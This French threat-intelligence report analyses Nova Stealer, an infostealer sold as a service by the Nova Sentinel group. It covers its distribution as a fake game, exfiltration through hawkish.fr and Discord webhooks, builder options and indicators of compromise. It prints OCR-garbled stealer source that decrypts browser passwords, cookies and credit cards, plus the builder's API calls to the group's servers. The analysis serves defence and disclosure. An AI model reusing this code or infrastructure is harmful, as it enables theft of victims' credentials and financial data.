Nova Stealer, le malware made in France

gatewatcher.com/lab/groupe-nova-sentinel/

Grace a notre outil de Cyber Threat Intelligence, LastinfoSec, notre équipe Purple a trouvé
une menace venant d’'un nouveau groupe cybercriminel. Nous avons décidé de I'étudier et
de compiler nos recherches dans ce rapport.

Au vu du changement constant des techniques utilisées par le groupe étudié, cet article peut
mentionner des informations qui ne sont plus d’actualité.
Découvrir notre produit CTI —

Introduction

Nova Sentinel est un groupe cybercriminel proposant un service de StaaS (Stealer as a
Service), commercialisant un “information stealer” (voir notre Cyber Threat Barometer 2023)
développé par eux-mémes, et distribuant différents malwares en open source. D’apres la
date de création de leur canal Telegram, le groupe semble étre actif au moins depuis le 9
aolt 2020. Ce dernier communique en grande partie en anglais mais les acteurs principaux
semblent étre francais, ou au moins francophones, en témoignent les discussions sur leur
canal Telegram.

Etude d’une souche de Nova Stealer

Nova Stealer est une information stealer développée — et commercialisée — par le groupe
Nova Sentinel en JavaScript et utilisant le framework Electron pour la compilation du code.
Ses capacités sont étendues et comprennent le vol d’identifiants stockés dans la plupart des
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navigateurs, le vol de session pour des plateformes telles que Discord et Steam, ainsi que le
vol d’'informations liées aux portefeuilles de crypto-monnaies.

Ce stealer étant commercialisé en tant que service, une boutique est disponible pour I'achat
de licences : anciennement sur la plateforme Sellix (https://novasentinel[.]Jmysellix.i0) puis,
apres fermeture de la boutique, sur la plateforme Sellpass
(https://novasentinel[.]sellpass.io/products).
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Pour I'étude d’'une souche de ce stealer, nous utiliserons un exécutable se faisant passer
pour un jeu, et disponible sur dualcorps].]fr (attention, ce site récupére I’adresse IP de
tous les utilisateurs visitant la page).

Ce site se fait donc passer pour une plateforme permettant de télécharger un jeu
gratuitement, derriére lequel se cache en fait notre info stealer.

Le stealer envoie ensuite les informations trouvées vers un webhook Discord. Un webhook
est une méthode permettant a une application de fournir des informations en temps réel a
une autre application. Contrairement aux API traditionnelles qui nécessitent que le client
interroge le serveur pour obtenir des données, un webhook permet au serveur d’envoyer des
données au client dés qu’un certain événement se produit.

Analyse dynamique

L'analyse dynamique d’'un malware permettra de comprendre son comportement en temps
réel lorsqu’il s’exécute dans un environnement contrélé.

En regardant rapidement I'analyse, le malware va créer un grand nombre de processus,
permettant une obfuscation de ses actions. Pour faire court, ces processus vont récupérer
quelques informations sur le systéme infecté et récupérer la solution antivirus disponible sur
la machine.

Nous voyons aussi des connexions vers ipinfo.io (récupération de I'lP de la victime),
github.com (récupérations de scripts tiers, comme PowerShell-Red-Team) mais surtout vers
hawkish[.]fr (extraction des données). A noter que toutes les connexions sont chiffrées.

Extraction des données

Lorsque nous visitons le site hawkish[.]fr, nous tombons sur un simple site de type Capture
The Flag. Pourtant, en créant un compte, nous accédons a une partie tierce du site, offrant
la possibilité de saisir un webhook Discord. Cette action généere un endpoint d’API a intégrer
lors de la compilation du stealer.

Cela permet d’anonymiser tous les retours, en passant d’abord par I'API détenue par le
groupe Nova Sentinel.

La problématique avec cette méthode est que le groupe a, en théorie, la possibilité
d’accéder a 'ensemble des données collectées par le stealer des utilisateurs. Le site
hawkish[.]fr faisant I'intermédiaire entre le stealer et I'utilisateur malveillant, nous ne pouvons
que faire '’hypothése que tout ce qui passe par le site de Nova Sentinel est stocke.
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https://github.com/ausecwa/PowerShell-Red-Team/blob/43918e6a82c211de8f373f3ba24231ed2436f820/Get-InitialEnum.ps1#L75
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Apres Avoir Fourni Un Webhook Discord, L utilisateur Récupére L'url a Rentrer Lors Du Build De Son
Stealer.

Lors de la réception des données, I'utilisateur peut voir 'adresse IP de la victime, sa
localisation, des informations sur le systéme infecté et un résumé de ce qui a été récupéré.
Enfin, un lien est disponible pour télécharger les résultats en passant par la plateforme
GoFile.

Le nom du fichier a télécharger est défini selon la méthode suivante:
<COUNTRY_CODE>_NOVA_<victim_username>.zip
Et I'url sous la forme : https://gofile.io/d/XXXXXX

Voici un exemple de ce qui peut étre récupéré sur une victime :

L’objectif principal d’'un infostealer est de récupérer les mots de passe et cookies stockés

dans les navigateurs de la victime. Cependant, Nova dépasse ses fonctionnalités basiques.

En effet, ce stealer va aussi récupérer les fichiers de configuration de certains jeux et de
leurs gestionnaires installés sur I'ordinateur. De plus, dans le dossier systeme, le malware
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‘ Games Found: ( EpicGame, Steam, Minecraft)
VPN:( ProtonVPN, MordVPN)

Exemple De Résultats Regu Sur Un Canal Discord

retourne la liste des
antivirus installés sur
la machine, et des
informations sur le
systeme, comme le
mateériel, le systéme
d’exploitation, I'lP et
méme la clé Windows
enregistrée. Une
capture d’écran de
I'écran de la victime
au moment ou le
fichier malveillant est
exécuté est aussi
présente.
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Arborescence Du Fichier Zip Contenant Les Informations Volées De La Victime

Etude statique : Reverse Engineering

L'analyse statique d’'un malware permettra d’examiner son code source et sa structure sans
exécution, pour identifier des signatures ou des indicateurs de compromission.

Lors de I'analyse statique du fichier « Dual Corps.exe » en utilisant I'outil Detect It Easy, nous
voyons qu’il s’agit d’'un exécutable d’installation. En extrayant 'exécutable apres installation,
il est remarqué que le framework Electron a été utilisé pour le développement du stealer.
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File name File name
| > | n bual Curps.exel \ \ \ | > | IDualﬁcorps,extracted.exe I |
File type File size Base address Entry point  ylAd 4 File type File size Base address Entry point -
| PE32 ~| | e550MiB | | EY o | | PEG4 ~| | 139.55MmiB | 1000000 | 2000000143bc9500 | > | o ‘
\ File info \ \Memorymap\ \ Disasm \ \ Hex \ \ Strings \ \Signatures\ \VirusTotal| \ File info \ |Memnry map\ \ Disasm \ \ Hex \ \ Strings \ \5ignatures| |VirusTatal\
| MIME | Visualisation | Search || Hash | Entropy | Extractor | | MIME | |visualisation| Search | Hash | Entropy | Extractor |
. PE | | Import || Resources | | overlay | . PE | | Export || import | Resources| | ms |
Sections Time date stamp Size of image Resources Sections Time date stamp Size of image Resources
| 0005 || >| 2018121523:26:14 | 00112000 | | Manifest || Version | | 000c || >| 2022-02-2319:45:58|  08f3d000 | | Manifest || Version |
Scan Endianness Mode Architecture Type Scan Endianness Mode Architecture Type
| Automatic < e || 32bit | 1386 I cul | | Automatic ~|| e || eabit || AmDE4 | | Gul |
v PE32 ~ PE64
Qperation system: Windows(95)[1386, 32-bi s ? Qperation system: Windows(Server 2003)[AMD64, 64-bit, GUI] s ?
Installer: Nullsoft Scriptable Install System(3.04)[zlib,solid S ? Library: Electron package(-)[-] s ?
ompiler: Microsoft Visual ++(12.20.9044 S ? OMpIlEr: MICrosolt Visua ++(16.00) s ?
Linker: Microsoft Linker(6.0) S ? Linker: Microsoft Linker(14.0) s ?
Tool: Visual Studio s ? | shorteuts | Tool: Visual Studio s ? | shorteuts |
~ Overlay: Binary Linker: Microsoft Linker(14.0)[GUI64] s ?

Data: NSIS data s ? | options | | options | |
|Signatures\ v Recursive scan v/ Deep scan Heuristicscan v Verbose | About ‘ \signatures| V| Recursive scan v Deep scan Heuristic scan v Verbose ‘ About ‘
—_— PE—— ———— Scan ———— i — —_— — —_— Scan —
| Directory | \i\ | Log || Alltypes | 937 msec | | Exit | | Directory | ‘i‘ | Log || lAlltypes | 11585 msec | | Edt |

Récupération Des Informations Sur Le Fichier De Base Et Aprés Extraction

Avec ces informations a disposition, il est alors relativement facile de récupérer le code
source de I'application: il suffit de décompresser le fichier.

[ W o i:

SPLUGINSDIR app.asar

Processus De Décompression Pour Récupérer Le Fichier App.asar

Nous restons enfin avec « app.asar», qui contient le code javascript de I'exécutable. Pour le
récupeérer, il est possible d’utiliser un plugin 7zip.

En ouvrant le fichier
bundle.js, nous accédons au
z code source de I'application,
ce dernier étant obfusqué.

app.asar bundle.js

Tout ce procédé manuel peut
étre automatisé grace a un
unpacker développé par nos

Processus De Récupération Du Code Source

soins : https://github.com/Gatewatcher/nova_unpacker

Désobfuscation du code

La désobfuscation est un processus lent et fastidieux, censé ralentir 'étude d’un code
source. Par conséquent, nous ne rentrerons pas dans les détails.
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https://sourceforge.net/p/sevenzip/discussion/45797/thread/74cf1dec/
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Partie Du Code Obfusqué

Aprés désobfuscation manuelle, nous nous retrouvons avec un script JS composé de plus
de 500 lignes de code longues et complexes. Cependant, seule une partie du code
désobfusqué est réellement pertinente pour notre analyse.

[14]) + _ p 5868325827[1] + _ p 9001789294 + '.js']:
p a4 _ p_8352995370[ p 1 + _p 7337597648 +
__p_ 1092613888

[__p_5868325827 (2

+ _ p 8352995370[ p ( ( . un v 3 ck require = {
40) + _ p 8352995376[ p )5(108)] + 'String().startswith("vii")\n ) {\n if continue
try {\n val decryptChrome(value, key);\n } catch (e) {\n continue;\n } else
{\n try {\n value = dpapi.unprotectData(value, null, "CurrentUser");\n } catch (e) {\n continue;\n hn }
\n if (row.name.includes(".ROBLOSECURITY")) {\n save.saveRoblox(value);\n stat.AddRoblox(value) ;\n hn if (row.host key.
includes(".twitt ) {\n let saved = row;\n saved.value = value;\n stat.AddTwitter H n cookies.push
(\n new Cookies(\n row.host_key,\n row.path,\n row.is secur r X _utc,\n row.name,
\n value\n )\n )i\n I Wn return coeckies;\n}\n\nasync func words(basepath, browser) {\n var passwords [1;
\n let key = getMasterKey(basepath);\n\n var loginPath = \n if (basepath.includes("Yandex")) {\n loginPath = "${basepath}Ya Passman Data’;
\n } else {\n loginPath = “${basepath}Login Data’;\n J}\n\n if (fs. sSync(leginPath)) {\n let rows = [1;\n try {\n rows = await
tempSqlit: leginPath,\n "SELECT origin url, username value, password value, date created FROM logins"\n )i\n } catch (e) {}
\n\n for (let row of rows) {\n let password 5 swor ue; \n\n if (\n password.toString().startsWith("v1€") ||\n
password.toString().startsWith("v11")\n {\n {\n continue;\n Hn\n try {\n password
decryptChrome(password, key);\n } catch (e) {\n continue;\n n } else {\n try {\n password = dpapi.
unprotectData(password, null, "CurrentUser”);\n } catch (e) {\n continue;\n Hn Hn\n if (row.username_value !=
"" & password != passwords.push{\n new Password(\n row.origin_url,\n row.username_value,\n
password, \n row. browser\n \n )i\n website.push(row.origin | ):\n hn hn T
\n\n return passwords;\n}\n\nasync function Autofills(basepath, browser) {\n var autofills = [];\n\n if ( sync( ${basepath}web Data’))
{\n let rows = [];\n try {\n rows = await tempsqlite(\n ${basepath}Web Data',\n "SELECT name, value FROM
autofill"\n )i\n } catch (e) {I\n\n  for (let row of rows) {\n autofills.push(new Autofill(row.name, row.value, browser));\n  }\n
\m\n return autofills;\n}\nm\nasync function Downloads (basepath) {\n wvar downloads = [];\m\n if (fs.existsSync( ${basepath}History')) {\n
let row: [1:\n try {\n rows = await tempSqlite(\n “${basepath}History",\n "SELECT target path, tab url, total bytes FROM
downloads"\n Yi\n } catch (e) {}\n\n for (let row of rows) {\n downloads.pu' + (\n new Download(row.tart path, row.
tab_ur row.total bytes)\n )i\n I\n Inm\n return downloads;\n}\n\nasync function getCreditCards(basepath) {\n let creditcards = [];\n
let key = getMasterKey(basepath);\n\n if (fs istsSync(’ ${basepath}web Data")) {\n let rows = [];\n try {\n row await tempsqlite
(\n *${basepath}web Data",\n "SELECT guid, name on card, expiration month, expiration year, card number encrypted, billing address id,
nickname FROM credit cards"\n ):\n } catch (e) {}I\n\n for (let row of rows) {\n let number ow.card number_encrypted;\n\n if
(\n number.toString() .startswith("v1e") |[\n number.toString().startsWith("v11")\n ) {\n if (key ") {\n
continue;\n H\n\n try {\n numi decryptChrome(number, key);\n } catch (e) {\n continue;\n }
\n } else {\n try {\n number = dpapi.unprotectData(number, null, rrentUser”);\n } catch (e) {\n continue;
\n hn H\n\n creditcards.push(\n new CreditCard(\n row.guid,\n row.name_on_card,\n row.
expiration month,\n row.expiration year,\n number,\n row.billing address id,\n row.nickname\n \n )i
\n F\n  Hn\n return creditcards;\n}\n\nasync function getHistory(basepath) {\n var history = [];\n\n if (fs.existsSync( ${basepath}History )}
{\n let ro = [1:\n try {\n rows = await tempSqlite(\n ${basepath}History ,\n "SELECT url, title, visit count,
last_visit_time FROM urls"\n )i\n } catch (e) {}\nm\n for (let row of rows) {\n history.push(\n new Visit(row.url, row.title,
row.visit count, row.last_visit_time)\n )i\n F\n  Xn\n return history;\nh\n\nasync function getBookmarks(basepath, browser) {\n let
Spaces:4  UTF-8

Partie Du Code Obfusqué Contenant Du Code Javascript En Clair

Nous remarquons dans cette portion du code plus ou moins lisible, qu‘il s’agit en fait de
modules tiers chargés dans des variables qui seront par la suite utilisées.
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Une analyse dynamique du code a permis de récupérer 21 modules complémentaires,
entiérement en clair. Le module admin.js permet enfin de récupérer la configuration du
stealer:

"https://hawkish.eu/grabber/nova/
API_URLS'

sions.zip',

URL:

ithubusercontent.com/meccksch/cerf/main/index. js',

RL:
ithubusercontent.com/meccksch/cerf/main/exodus-inject.js",
RL:
ithubusercontent.com/FalseKSCH/Atomic-Injection/main/vendors. 8ed4edcada5f556f. js ',
1let: {

Explication de la configuration : Etude du builder

Le builder — logiciel utilisé pour créer et personnaliser un logiciel malveillant en générant des
variantes uniques avec différentes fonctionnalités et techniques d’évasion — étant aussi
développé en utilisant la librairie Electron, la récupération du code source suit le méme
procédé que celui vu précédemment. De plus, le code n’est cette fois-ci pas obfusqué,
facilitant grandement sa compréhension.

Lors de I'exécution du builder, une authentification est nécessaire. A priori, la soumission de
I'ID Discord n’a pas d'utilité, comme semble le prouver le code JavaScript présent sur la
page.
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ENTER YOUR

DISCORD iD: "|

ENTER YOUR

NOVA TOKEN: " "|

Page De Connexion Au Builder

form.addEventListener("submit", function (event) {
event.preventDefault();

const discordId = document.getElementById("discord-id").value;

IIP{]STH s L
ON.stringify({
d: discordId,

headers: {
"Content-Type": "application/json",
e
H
.then((response) => {
if (response.ok) {
alert("Request sent successfully!");

alert("Request failed.");

.catch((error) => {
console.error("Error:", error);
)
b

Code Source Pour L'authentification Au Service Du Builder
Cependant, un “nova token” permet d’accéder aux fonctionnalités du builder.

Ce dernier est envoyé a l'url https://hawkish[.]fr/grabber/nova/login_by_token, qui va
vraisemblablement tester le code, et si celui-ci est valable, emmener I'utilisateur vers le
builder.
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formbis.addEventListener("submit", function (event) {
event.preventDefault();

const novatoken = document.getElementById("token-id").value;
fetch("https://hawkish.eu/grabber/nova/login_by_token", {
method: "POST",
body: JSON.stringify({
e novatoken,
),
headers: {
"Content-Type": "application/json",
e
H
.then(async (response) => {
if (response.ok) {
let yopa = it response.text();
if (yopa == "great code") {
alert("Loged in!");
ipcRenderer.send( "save-config", {
data: novatoken,
});
window.location.href = "logedin.html";
}
} else {
alert("Request failed.");
}
})
.catch{(error) == {
console.log("Error:", error);
)
});

Code Source Montrant La Vérification Du Nova Token
configuration du stealer.

Apres avoir entré ces informations, ces dernieres sont envoyées a

http://87[.]106.121.77:3000/cacagrossebite/kschleplusbeau/mazette. Un lien de

téléchargement de I'exécutable est enfin renvoyeé.

Nous
retrouvons
iCi
quelques
variables
visibles
dans la
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WEBHOOK (
FILE NAME (
EMAIL (
FILE DESCRIPTION |

COPYRIGHT |

BINDED FILE (

COMPAGNY (
LICENSE

FILE AUTHOR

FILE VERSION

FILE {CON URL

FAKE ERROR

Premiére Page Du Builder
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STEAL GAMES

STEAL GAMES LAUNCHERS

STEAL REMOTE DESKTOP CONTROLERS

_STEAL CRYPTO WALLETS

STEAL VPN LOGIN FILES

STEAL SYSTEME INFORMATIONS

STEAL SOCIAL APPLICATIONS

STEAL BROWSERS INFORMATIONS

Deuxieme Page Du Builder
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BLOCK DEBUG

EMABLE CHROME INJECTION

EMABLE TASK MANAGER & DEFENDER DISABLER

EMNABLE DISCORD 2FA DISABLER

ENABLE INJECTION (DISCORD. ATOMIC & EXODUS)

ADD TO STARTUP

EMABLE FAKE ERROR

Troisieme Page Du Builder

Buts du groupe

Le but premier du groupe est donc vraisemblablement financier, a I'instar de tout groupe
proposant un MaaS (Malware As A Service). Cependant, il est aussi a noter qu’il est en
théorie possible que le groupe ait acces a toutes les informations récupérées par le stealer.
En commercialisant Nova Stealer, Nova Sentinel pourrait donc avoir accés a un grand
nombre d’informations privées sur les victimes du stealer, tout en générant des revenus par
la vente d’accés a I'API.

Annexes

Hiérarchie Nova Sentinel
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Nova's Hierarchy

Owners

Nva Erudit

T. / Hantoku

Staff Manager

Dams [ alqaidams

M4T / chen_mat

‘ Kazura (Outdated)

Seevitaa

Hiérarchie De Nova Sentinel

Value

Description

https://hawkish.fr/grabber/nova/login_by_discord

https://hawkish.fr/grabber/nova/login_by_token

ipinfo.io

87.106.121.77

IP de I’ API du builder Nova

hawkish.fr

http://87.106.121.77:3000/cacagrossebite/kschleplu
sbeaw/mazette

Nova
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